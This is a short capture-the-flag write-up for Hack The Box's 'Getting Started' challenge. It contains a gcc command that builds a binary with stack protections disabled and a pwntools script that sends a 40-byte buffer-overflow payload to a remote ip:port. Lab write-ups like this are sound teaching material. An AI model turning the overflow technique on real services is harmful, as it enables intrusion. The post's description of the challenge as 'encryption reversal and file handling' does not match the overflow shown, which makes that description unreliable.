Post

HackTheBox Getting Started Writeup

Explore the basics of cybersecurity in the Getting Started Challenge on Hack The Box. This very-easy-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.

Compile the vulnerable binary (if not already): gcc -o gs vuln.c -fno-stack-protector -z execstack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python3
from pwn import *

def get_process():
    try:
        host, port = sys.argv[1].split(':')
        return remote(host, int(port))
    except IndexError:
        print(f'Usage: python {sys.argv[0]} <ip:port>')
        exit(1)

payload = b'A' * 32 + b'B' * 8
p = get_process()
print("[*] Program output before sending payload:")
print(p.recvuntil(b'>>').decode().strip())
print("[*] Sending payload...")
p.sendline(payload)
print("[*] Program output after sending payload:")
response = p.recvall().decode().strip()
print(response)
p.close()

Summary

The Getting Started Challenge on Hack The Box is a very-easy-level challenge focused on encryption reversal and file handling. It involves exploiting a vulnerable binary by sending a crafted payload to trigger a buffer overflow. The script captures and displays the program’s response, providing a practical demonstration of basic exploitation techniques for beginners.

This post is licensed under CC BY 4.0 by the author.